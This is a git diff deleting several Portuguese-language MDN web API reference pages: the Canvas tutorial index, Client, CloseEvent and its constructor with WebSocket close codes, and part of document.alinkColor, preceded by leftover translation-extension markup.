- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/canvas_api/tutorial/index.html b/files/pt-pt/web/api/canvas_api/tutorial/index.html
deleted file mode 100644
index cad5f41e2b..0000000000
--- a/files/pt-pt/web/api/canvas_api/tutorial/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Tutorial de Canvas
-slug: Web/API/Canvas_API/Tutorial
-tags:
- - Canvas
- - Guía
- - HTML
- - HTML5
- - Intermediário
- - Web
- - graficos
-translation_of: Web/API/Canvas_API/Tutorial
-original_slug: Web/API/API_de_canvas/Tutorial
----
-<div>{{CanvasSidebar}}</div>
-
-<div><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><img alt="" src="https://mdn.mozillademos.org/files/257/Canvas_tut_examples.jpg" style="float: right; height: 450px; width: 200px;"></a></div>
-
-<div class="summary">
-<p><a href="/en-US/docs/Web/HTML/Element/canvas" title="HTML/Canvas"><strong><code>&lt;canvas&gt;</code></strong></a> is an <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> element which can be used to draw graphics via scripting (usually <a href="/en-US/docs/Glossary/JavaScript" title="JavaScript">JavaScript</a>). This can, for instance, be used to draw graphs, make photo composition or simple (and <a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster" title="A_Basic_RayCaster">not so simple</a>) animations. The images on this page show examples of <a href="/en-US/docs/Web/HTML/Element/canvas" title="HTML/Canvas"><strong><code>&lt;canvas&gt;</code></strong></a> implementations which will be created in this tutorial.</p>
-</div>
-
-<p><span class="seoSummary">This tutorial describes how to use the <code>&lt;canvas&gt;</code> element to draw 2D graphics, starting with the basics. The examples provided should give you some clear ideas what you can do with canvas and will provide code snippets that may get you started in building your own content.</span></p>
-
-<p>First introduced in WebKit by Apple for the OS X Dashboard, <code>&lt;canvas&gt;</code> has since been implemented in browsers. Today, all major browsers support it.</p>
-
-<h2 id="Before_you_start" name="Before_you_start">Antes de começar</h2>
-
-<p>Using the <code>&lt;canvas&gt;</code> element is not very difficult, but you do need a basic understanding of <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> and <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. The <code>&lt;canvas&gt;</code> element is not supported in some older browsers, but is supported in recent versions of all major browsers. The default size of the canvas is 300 px × 150 px (width × height). But custom sizes can be defined using the HTML <code>height</code> and <code>width</code> property. In order to draw graphics on the canvas we use a JavaScript context object, which creates graphics on the fly.</p>
-
-<h2 id="In_this_tutorial" name="In_this_tutorial">Neste tutorial</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_usage" title="Canvas_tutorial/Basic_usage">Basic usage</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Canvas_tutorial/Drawing_shapes">Drawing shapes</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors" title="Canvas_tutorial/Applying_styles_and_colors">Applying styles and colors</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text">Drawing text</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Using_images" title="Canvas_tutorial/Using_images">Using images</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Transformations" title="Canvas_tutorial/Transformations">Transformations</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Canvas_tutorial/Compositing">Compositing and clipping</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations" title="Canvas_tutorial/Basic_animations">Basic animations</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Advanced_animations">Advanced animations</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">Pixel manipulation</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">Hit regions and accessibility</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Optimizing_canvas" title="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas">Optimizing the canvas</a></li>
- <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Finale">Finale</a></li>
-</ul>
-
-<h2 id="See_also" name="See_also">Consulte também:</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Canvas_API" title="HTML/Canvas">Canvas topic page</a></li>
- <li><a class="external" href="http://visitmix.com/labs/ai2canvas/" title="http://visitmix.com/labs/ai2canvas/">Adobe Illustrator to Canvas plug-in</a></li>
- <li><a class="external" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a></li>
-</ul>
-
-<h2 id="Uma_nota_para_os_colaboradores">Uma nota para os colaboradores</h2>
-
-<p>Due to an unfortunate technical error that occurred the week of June 17, 2013, we lost the history of this tutorial, including attributions to all past contributors to its content. We apologize for this, and hope you'll forgive this unfortunate mishap.</p>
-
-<div>{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}</div>
diff --git a/files/pt-pt/web/api/client/index.html b/files/pt-pt/web/api/client/index.html
deleted file mode 100644
index 267c1fafc4..0000000000
--- a/files/pt-pt/web/api/client/index.html
+++ /dev/null
@@ -1,67 +0,0 @@
----
-title: Client
-slug: Web/API/Client
-tags:
- - API
- - Client
- - Experimental
- - Interface
- - Referencia
- - Service Workers
- - Service worker API
- - ServiceWorkerClient
- - ServiceWorkers
-translation_of: Web/API/Client
----
-<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
-
-<p>A interface de <em>Client</em> representa um contexto executável, tal como um<span class="seoSummary"> {{domxref("Worker")}}, ou um {{domxref("SharedWorker")}}. Os {{domxref("Window")}} <em>clients</em> </span>são representados pelo mais específico <span class="seoSummary">{{domxref("WindowClient")}}. Pode obter os objetos <em><code>Client</code>/<code>WindowClient</code></em> a partir dos métodos, tais como {{domxref("Clients.matchAll","Clients.matchAll()")}} e {{domxref("Clients.get","Clients.get()")}}.</span></p>
-
-<h2 id="Métodos">Métodos</h2>
-
-<dl>
- <dt>{{domxref("Client.postMessage()")}}</dt>
- <dd>Sends a message to the client.</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt>{{domxref("Client.id")}} {{readonlyInline}}</dt>
- <dd>The universally unique identifier of the client as a string.</dd>
- <dt>{{domxref("Client.type")}} {{readonlyInline}}</dt>
- <dd>The client's type as a string. It can be "<code>window"</code>, "<code>worker"</code>, or "<code>sharedworker"</code>.</dd>
- <dt>{{domxref("Client.url")}} {{readonlyInline}}</dt>
- <dd>The URL of the client as a string.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('Service Workers', '#client', 'Client')}}</td>
- <td>{{Spec2('Service Workers')}}</td>
- <td>Definitição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_Navegador">Compatibilidade de Navegador</h2>
-
-
-
-<p>{{Compat("api.Client")}}</p>
-
-<h2 id="Consulte_também">Consulte também:</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
- <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/closeevent/closeevent/index.html b/files/pt-pt/web/api/closeevent/closeevent/index.html
deleted file mode 100644
index b12c9d211e..0000000000
--- a/files/pt-pt/web/api/closeevent/closeevent/index.html
+++ /dev/null
@@ -1,71 +0,0 @@
----
-title: CloseEvent()
-slug: Web/API/CloseEvent/CloseEvent
-tags:
- - API
- - CloseEvent
- - Construtor
- - Referencia
-translation_of: Web/API/CloseEvent/CloseEvent
----
-<div>{{APIRef("Websockets API")}}</div>
-
-<p>O construtor <strong><code>CloseEvent()</code></strong> cria um novo {{domxref("CloseEvent")}}.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">var <em>event</em> = new CloseEvent(<em>typeArg</em>, <em>closeEventInit</em>);</pre>
-
-<h3 id="Valores">Valores</h3>
-
-<dl>
- <dt><code>typeArg</code></dt>
- <dd>É uma {{domxref("DOMString")}} que representa o nome do evento.</dd>
- <dt><code>closeEventInit</code> {{optional_inline}}</dt>
-</dl>
-
-<dl>
- <dd>É um dicionário <code>CloseEventInit</code>, com os seguintes<em> </em>campos:
-
- <ul>
- <li><code>"wasClean"</code>, opcional e pré-definido como <code>false</code>, do tipo <code>long</code>, indica se a conexão foi terminada de forma limpa ou não.</li>
- <li><code>"code"</code>, opcional e pré-definido como <code>0</code>, do tipo <code>unsigned short</code>, é o código de estado do encerrar da conexão enviada pelo servidor.</li>
- <li><code>"reason"</code>, opcional e pré-definido como <code>''</code>, do tipo {{domxref("DOMString")}}, é a razão por qual o servidor terminou a conexão escrita para humanos.</li>
- </ul>
-
- <div class="note">
- <p>O dicionário <code>CloseEventInit</code> também aceita campos do dicionário {{domxref("Event.Event", "EventInit")}}.</p>
- </div>
- </dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table" style="height: 49px; width: 1000px;">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('HTML WHATWG','comms.html#closeevent','CloseEvent()')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.CloseEvent.CloseEvent")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("CloseEvent")}}, a interface dos objetos criados pelo construtor.</li>
-</ul>
diff --git a/files/pt-pt/web/api/closeevent/index.html b/files/pt-pt/web/api/closeevent/index.html
deleted file mode 100644
index 5cece5fd2b..0000000000
--- a/files/pt-pt/web/api/closeevent/index.html
+++ /dev/null
@@ -1,195 +0,0 @@
----
-title: CloseEvent
-slug: Web/API/CloseEvent
-tags:
- - API
- - Interface
- - Referencia
- - Web
- - WebSocket
- - WebSockets
-translation_of: Web/API/CloseEvent
----
-<div>{{APIRef("Websockets API")}}</div>
-
-<p>Um <code>CloseEvent</code> é enviado a clientes usando {{Glossary("WebSockets")}} quando a conexão é terminada. É enviado ao <em>listner</em> indicado pelo atributo <code>onclose</code> de objeto <code>WebSocket</code>.</p>
-
-<h2 id="Construtor">Construtor</h2>
-
-<dl>
- <dt>{{domxref("CloseEvent.CloseEvent", "CloseEvent()")}}</dt>
- <dd>Cria um novo <code>CloseEvent</code>.</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<p><em>Esta interface também herda propriedades do {{domxref("Event")}} de qual se deriva.</em></p>
-
-<dl>
- <dt>{{domxref("CloseEvent.code")}} {{readOnlyInline}}</dt>
- <dd>Devolve uma <code>unsigned short</code> que contem o código enviado pelo servidor. Os seguintes valores são os códigos de estado permitidos, as definições foram traduzidas a partir do <a href="https://www.iana.org/assignments/websocket/websocket.xml#close-code-number">site da IANA</a>. Note que os códigos 1xxx são só usados internamente pelo WebSocket e não para uso com os dados transportados (como quando o protocolo da aplicação é invalido). Os únicos códigos que podem ser especificados no Firefox são o código 1000 e a série de 3000 a 4999 inclusivo [<a href="https://searchfox.org/mozilla-central/rev/bf81d741ff5dd11bb364ef21306da599032fd479/dom/websocket/WebSocket.cpp#2533">Fonte</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1467107">Bug</a>].</dd>
- <dd>
- <table class="standard-table" id="Status_codes">
- <tbody>
- <tr>
- <td class="header">Código</td>
- <td class="header">Nome</td>
- <td class="header">Descrição</td>
- </tr>
- <tr>
- <td><code>0</code>–<code>999</code></td>
- <td></td>
- <td><strong>Reservado e não utilizado.</strong></td>
- </tr>
- <tr>
- <td><code>1000</code></td>
- <td>Normal Closure</td>
- <td>
- <p>Encerramento normal; a conexão completou a tarefa para qual foi criada.</p>
- </td>
- </tr>
- <tr>
- <td><code>1001</code></td>
- <td>Going Away</td>
- <td>
- <p>O terminal está a desaparecer, seja devido a uma falha do servidor ou porque o navegador está a navegar para longe da página que abriu a ligação.</p>
- </td>
- </tr>
- <tr>
- <td><code>1002</code></td>
- <td>Protocol Error</td>
- <td>O terminal está a terminar a conexão devido a um erro de protocolo.</td>
- </tr>
- <tr>
- <td><code>1003</code></td>
- <td>Unsupported Data</td>
- <td>A conexão está a ser terminada porque o terminal recebeu dados num formato que não aceita (por exemplo um terminal de texto receber dados binarios).</td>
- </tr>
- <tr>
- <td><code>1004</code></td>
- <td></td>
- <td><strong>Reservado.</strong> Uma definição pode ser atribuída no futuro.</td>
- </tr>
- <tr>
- <td><code>1005</code></td>
- <td>No Status Received</td>
- <td><strong>Reservado.</strong>  Indica que nenhum código de estado foi oferecido, apesar de ser esperado um código.</td>
- </tr>
- <tr>
- <td><code>1006</code></td>
- <td>Abnormal Closure</td>
- <td><strong>Reservado.</strong> Usado para indicar que a conexão fechou anormalmente (isto é, sem uma <em>close frame</em> ser enviada) quando um código era esperado.</td>
- </tr>
- <tr>
- <td><code>1007</code></td>
- <td>Invalid frame payload data</td>
- <td>O terminal está a terminar a conexão porque a mensagem continha dados inconsistentes (e.x. dados não codificados em UTF-8 numa mensagem de texto).</td>
- </tr>
- <tr>
- <td><code>1008</code></td>
- <td>Policy Violation</td>
- <td>O terminal está a terminar a conexão porque recebeu uma mensagem que viola a sua política. Isto é um código genérico, usado quando os códigos 1003 e 1009 não são apropriados à situação.</td>
- </tr>
- <tr>
- <td><code>1009</code></td>
- <td>Message too big</td>
- <td>O terminal está a terminar a conexão porque o <em>data frame</em> recebido é demasiado grande.</td>
- </tr>
- <tr>
- <td><code>1010</code></td>
- <td>Missing Extension</td>
- <td>O cliente está a terminar a conexão porque esperava que o servidor negociasse uma ou mais extensões, mas não o fez.</td>
- </tr>
- <tr>
- <td><code>1011</code></td>
- <td>Internal Error</td>
- <td>O servidor está a terminar a conexão porque encontrou uma condição inesperada que a impede de completar o pedido.</td>
- </tr>
- <tr>
- <td><code>1012</code></td>
- <td>Service Restart</td>
- <td>O servidor está a terminar a conexão porque está a reiniciar. [<a href="https://www.ietf.org/mail-archive/web/hybi/current/msg09670.html">Ref</a>]</td>
- </tr>
- <tr>
- <td><code>1013</code></td>
- <td>Try Again Later</td>
- <td>O servidor está a terminar a conexão devido a uma condição temporária, por exemplo está sobrecarregado e está a reduzir o número de clientes. [<a href="https://www.ietf.org/mail-archive/web/hybi/current/msg09670.html">Ref</a>]</td>
- </tr>
- <tr>
- <td><code>1014</code></td>
- <td>Bad Gateway</td>
- <td>O servidor está a agir como uma <em>gateway</em> ou <em>proxy</em> e recebeu uma resposta inválida dum servidor mais adiante na conexão. Isto é parecido com o código de estado HTTP 502.</td>
- </tr>
- <tr>
- <td><code>1015</code></td>
- <td>TLS Handshake</td>
- <td><strong>Reservado.</strong> Indica que a conexão foi terminada devido a uma falha na execução de um aperto de mão TLS (por exemplo, o certificado do servidor não pode ser verificado).</td>
- </tr>
- <tr>
- <td><code>1016</code>–<code>1999</code></td>
- <td></td>
- <td><strong>Reservado para o futuro uso de padrões WebSocket.</strong></td>
- </tr>
- <tr>
- <td><code>2000</code>–<code>2999</code></td>
- <td></td>
- <td><strong>Reservado para uso de extensões de WebSocket.</strong></td>
- </tr>
- <tr>
- <td><code>3000</code>–<code>3999</code></td>
- <td></td>
- <td>Disponivel para uso por bibliotecas e <em>frameworks</em>. <strong>Não</strong> é para ser utilizado por aplicações. Disponível para registo através da IANA de forma de primeiro a chegar primeiro servido.</td>
- </tr>
- <tr>
- <td><code>4000</code>–<code>4999</code></td>
- <td></td>
- <td>Disponível para uso por aplicações.</td>
- </tr>
- </tbody>
- </table>
- </dd>
- <dt>{{domxref("CloseEvent.reason")}} {{readOnlyInline}}</dt>
- <dd>Devolve uma {{domxref("DOMString")}} a indicar a razão por qual o servidor terminou a conexão. Isto é específico ao servidor e sub-protocolo.</dd>
- <dt>{{domxref("CloseEvent.wasClean")}} {{readOnlyInline}}</dt>
- <dd>Devolve um {{jsxref("Boolean")}} que indica se a conexão não foi terminada de forma limpa.</dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<p><em>Esta interface também herda métodos de {{domxref("Event")}} de qual se deriva.</em></p>
-
-<dl>
- <dt>{{domxref("CloseEvent.initCloseEvent()")}} {{Non-standard_inline}} {{Obsolete_inline}}</dt>
- <dd>Inicializa o valor de um <code>CloseEvent</code>. Se o evento já foi enviado, o método não faz nada. Este método é obsoleto, use antes o construtor {{domxref("CloseEvent.CloseEvent", "CloseEvent()")}}.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('HTML WHATWG', 'web-sockets.html#the-closeevent-interface', 'CloseEvent') }}</td>
- <td>{{ Spec2('HTML WHATWG') }}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.CloseEvent")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("WebSocket")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/document/alinkcolor/index.html b/files/pt-pt/web/api/document/alinkcolor/index.html
deleted file mode 100644
index 790a1cda4a..0000000000
--- a/files/pt-pt/web/api/document/alinkcolor/index.html
+++ /dev/null
@@ -1,44 +0,0 @@
----
-title: document.alinkColor
-slug: Web/API/Document/alinkColor
-tags:
- - DOM
- - DOM 0
- - Gecko
- - Referência_do_DOM_Gecko
-translation_of: Web/API/Document/alinkColor
-original_slug: DOM/document.alinkColor
----
-<div id="page-top">
- <div class="pageText" id="pageText">
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><span class="lang lang-en">« <a href="/en/Gecko_DOM_Reference" rel="internal" style="text-decoration: none; color: rgb(4, 121, 167);">Referência do DOM Gecko</a></span></p>
- <div id="section_1">
- <h3 class="editable" id="Sumário" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; font-family: Georgia, 'Times New Roman', Times, serif; color: rgb(43, 39, 32); font-size: 21px; border-bottom-width: 1px; border-bottom-style: solid;">Sumário</h3>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"> </p>
- <div style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(185, 185, 255); font-weight: bold; text-align: center; padding-top: 0px; padding-right: 10px; padding-bottom: 0px; padding-left: 10px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px;">
- <p style="margin-top: 4px; margin-right: 0px; margin-bottom: 4px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Obsoleto</p>
- </div>
- Retorna ou define a cor de um link ativo no corpo do documento. Um link é ativo durante o tempo entre <code style="color: inherit; font-weight: inherit;">mousedown </code>e <code style="color: inherit; font-weight: inherit;">mouseup </code>eventos.
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"> </p>
- </div>
- <div id="section_2">
- <h3 class="editable" id="Sintaxe" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; font-family: Georgia, 'Times New Roman', Times, serif; color: rgb(43, 39, 32); font-size: 21px; border-bottom-width: 1px; border-bottom-style: solid;"><span>Sintaxe</span></h3>
- <pre class="eval" style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; font: normal normal normal 12px/normal 'Courier New', 'Andale Mono', monospace; color: rgb(37, 34, 29);"><em><code>document.alinkColor</code> = </em><em>cor</em>
-</pre>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><em><code>color</code></em> é uma string contendo<span style="font-family: Verdana;"> o no</span>me da cor (em inglês), (por exemplo, "blue", "darkblue", etc) ou o valor <span style="font-family: Verdana;">em</span> hexadecimal (por exemplo, <em><span style="font-family: 'Courier New';"><code style="color: inherit; font-weight: inherit;">#0000FF</code></span></em>)</p>
- </div>
- <div id="section_3">
- <h3 class="editable" id="Notas" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; font-family: Georgia, 'Times New Roman', Times, serif; color: rgb(43, 39, 32); font-size: 21px; border-bottom-width: 1px; border-bottom-style: solid;"><span>Notas </span></h3>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">O valor padrão para essa propriedade no Mozilla Firefox é o vermelho (<code style="color: inherit; font-weight: inherit;"><span style="font-family: 'Courier New';">#ee0000</span> </code>em hexadecimal).</p>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><code style="color: inherit; font-weight: inherit;"><em><span style="font-family: 'Courier New';">document.alinkColor</span></em> </code>é substituído no <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268" rel="external nofollow" title="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Nível 2 HTML </a>. Uma alternativa é o seletor CSS <code style="color: inherit; font-weight: inherit;"><a href="/en/CSS/%3aactive" rel="custom nofollow" style="text-decoration: none; color: rgb(4, 121, 167);">:active</a></code>.</p>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Outra alternativa é document.body.aLink, embora isso seja <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268" title="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">obsoleto em HTML 4.01</a>, em favor da alternativa de CSS.</p>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Gecko suporta tanto <code><span style="font-family: 'Courier New';">alinkColor / :activ</span></code><span style="font-family: 'Courier New';"><code>e</code></span> e <code>:focus</code>. Internet Explorer 6 e 7 suportam <code>alinkColor / :active</code> apenas para âncora HTML (<code>&lt;a&gt;</code>) links e o comportamento é o mesmo que <span style="font-family: 'Courier New';"><code>:focus</code></span> em Gecko. Não há suporte para <code>:focus</code> no IE.</p>
- </div>
- <div id="section_4">
- <h3 class="editable" id="Especificação" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; font-family: Georgia, 'Times New Roman', Times, serif; color: rgb(43, 39, 32); font-size: 21px; border-bottom-width: 1px; border-bottom-style: solid;"><span>Especificação</span></h3>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><span class="lang lang-en">DOM Nível 0. Não faz parte do padrão.</span></p>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><span class="lang lang-en"><a class="external" href="http://msdn.microsoft.com/en-us/library/ms533071(VS.85).aspx" rel="external nofollow" title="http://msdn.microsoft.com/en-us/library/ms533071(VS.85).aspx">MSDN - propriedade :alinkColor</a></span></p>
